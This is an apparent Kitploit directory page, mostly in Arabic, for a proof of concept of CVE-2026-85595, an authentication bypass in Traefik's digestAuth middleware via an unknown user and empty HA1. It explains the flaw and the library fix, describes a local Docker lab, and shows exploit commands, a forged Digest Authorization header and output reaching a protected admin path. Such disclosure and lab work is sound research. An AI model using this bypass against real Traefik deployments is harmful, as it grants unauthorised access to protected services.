Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-85595-PoC — CVE-2026-85595 — تجاوز المصادقة في digestAuth في Traefik (اسم مستخدم غير معروف => HA1 فارغ). موثّق مختبريًا: تجاوز في v3.7.10، واستجابة 401 في v3.7.11. | Kitploit
أدوات/GitHubGitHub/boreas37/cve-2026-85595-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالمصادقةمختبرات وتدريب عملي
GitHubboreas37/cve-2026-85595-poc

CVE-2026-85595-PoC

CVE-2026-85595 — تجاوز المصادقة في digestAuth في Traefik (اسم مستخدم غير معروف => HA1 فارغ). موثّق مختبريًا: تجاوز في v3.7.10، واستجابة 401 في v3.7.11.

عرض المستودع
منذ 13 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-85595 — مصادقة digestAuth في Traefik للمستخدمين غير المعروفين (سر فارغ)

المتأثر: Traefik < 2.11.55، و3.0.0 – 3.7.10 تم إصلاحه: 2.11.55 / 3.7.11 الإصلاح: commit b975dcaa8c48 في containous/go-http-auth "Reject DigestAuth when user secret is empty"، تم تضمينه في Traefik عبر commit 2116686308a2 (ترقية go.mod) الاستشارة الأمنية: GHSA-4v96-rv7j-9wmr · CVSS 9.8 · CWE-287

آلية العمل

تقوم وسيطة digest في Traefik باستخراج HA1 الخاص بالمستخدم عبر البحث الخاص بها عن السر (pkg/middlewares/auth/digest_auth.go):

func (d *digestAuth) secretDigest(user, realm string) string {
	if secret, ok := d.users[user+":"+realm]; ok {
		return secret
	}
	return ""            // unknown user -> empty secret, not a rejection
}

CheckAuth في go-http-auth يأخذ بعد ذلك "" كـ HA1 ويحسب (digest.go:191-203 قبل الإصلاح):

HA1 := da.Secrets(auth["username"], da.Realm)   // "" for an unknown user
HA2 := H(r.Method + ":" + auth["uri"])
KD  := H(HA1 + ":" + auth["nonce"] + ":" + auth["nc"] + ":" + auth["cnonce"] + ":" + auth["qop"] + ":" + HA2)

PlainTextSecrets هي false بالنسبة إلى Traefik (ملف المستخدمين يحتوي بالفعل على HA1)، لذا يبقى HA1 سلسلة فارغة. كل مُدخل إلى KD باستثناء HA1 إما يتحكم فيه المهاجم أو يُمنح عبر تحدّي 401 (nonce، opaque)، وفحص uri يقبل مسار الطلب نفسه. وبالتالي يمكن حساب الاستجابة دون أي كلمة مرور ودون اسم مستخدم موجود في ملف المستخدمين.

الإصلاح عبارة عن ثلاثة أسطر في المكتبة:

HA1 := da.Secrets(auth["username"], da.Realm)
if HA1 == "" {
	return "", nil
}

Traefik نفسه لم يحتج إلى أي تغيير في الشيفرة — فقط ترقية الاعتمادية — ولهذا فإن الفرق (diff) الخاص بـ v3.7.11 لا يحتوي على أي مقطع digest_auth.go.

المختبر

الدورالصورةالحاويةمنفذ المضيف
وكيل معرّض للثغرةtraefik:v3.7.10poc-traefik-vuln-3710127.0.0.1:21010 → :8000
وكيل مُصلَّحtraefik:v3.7.11poc-traefik-3711127.0.0.1:21011 → :8000
  • الموجّه (Router): PathPrefix(/admin) على نقطة الدخول digest، والوسيط digestAuth (realm=traefik-lab، usersFile=/etc/traefik/users.htdigest، removeHeader: true).
  • ملف المستخدمين: admin:traefik-lab:6002799976b7f2610ec21f5961f9e2e5 (admin:traefik-lab:S3cretLabPass). المستخدم ghost الذي يستخدمه PoC غير موجود فيه.
  • الخادم الخلفي (Backend): poc-traefik-app (python:3.12-alpine)، يقدّم ADMIN-AREA … للمسار /admin/*.
  • الوصفة: lab/README.md.

الاستخدام

python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010   # vulnerable
python3 cve_2026_85595.py check   --url http://127.0.0.1:21011   # fixed

--output FILE يكتب النص المفرَّغ؛ ويقوم --path و--user بتجاوز المسار الهدف واسم المستخدم المزوَّر.

التحقق (مخرجات حقيقية)

1. إصدار traefik:v3.7.10 القابل للاستغلال — تجاوز

$ python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010
[*] target          : http://127.0.0.1:21010
[*] protected path  : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode            : exploit
[*] control (no credentials)          -> HTTP 401
[*] challenge                         -> HTTP 401
    Digest realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", opaque="kWFhikjHjyGSF8Yq", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost')      -> ''
[*] forged response                   -> 33b1b9b9e57144f3c02045c22dbd2772
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="33b1b9b9e57144f3c02045c22dbd2772", opaque="kWFhikjHjyGSF8Yq"
[*] forged request                    -> HTTP 200
    body: ADMIN-AREA secret admin panel for /admin/secret
    request_line: GET /admin/secret HTTP/1.1
    resolved_path: /admin/secret
=> PASS (digestAuth bypassed with unknown user 'ghost' and an empty HA1; protected content served with HTTP 200)

يسجّل سجل الوصول الخاص بالوكيل الهوية المزوّرة كمستخدم مُصادَق عليه (ClientUsername هو الحقل الثاني بعد عنوان IP الخاص بالعميل):

192.168.48.1 - -     [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 401 17 "-" "-" 1 "digest-lab@file" "-" 0ms
192.168.48.1 - ghost [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 200 118 "-" "-" 3 "digest-lab@file" "http://app:8080" 6ms

2. نفس الوكيل، بدون بيانات اعتماد (تحكم)

$ curl -sS -o /dev/null -w '%{http_code}\n' http://127.0.0.1:21010/admin/secret
401

3. تم إصلاح traefik:v3.7.11 — رفض الملخص المزوّر

$ python3 cve_2026_85595.py check --url http://127.0.0.1:21011
[*] target          : http://127.0.0.1:21011
[*] protected path  : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode            : check
[*] control (no credentials)          -> HTTP 401
[*] challenge                         -> HTTP 401
    Digest realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", opaque="NL8YFCUjlmHaxmZP", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost')      -> ''
[*] forged response                   -> 00cbf0f515f4663a98a223027faece2f
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="00cbf0f515f4663a98a223027faece2f", opaque="NL8YFCUjlmHaxmZP"
[*] forged request                    -> HTTP 401
    body: 401 Unauthorized
=> PASS (fixed: forged digest for an unknown user rejected with HTTP 401)

ملاحظات / قيود

  • يزوّر الـ PoC طلبًا واحدًا لكل تحدٍّ؛ ولا حاجة إلى تتبّع الـ nonce (nc) بعد الاستخدام الواحد.
  • لا تُستخدم أي بيانات اعتماد صالحة في أي مكان؛ اسم المستخدم الوحيد المُرسَل هو اسم غير موجود في ملف المستخدمين.
  • تعمل التقنية نفسها ضد أي موجّه محمي بـ digestAuth على إصدار متأثر، وضد 2.11.x < 2.11.55.
تنزيل الأداة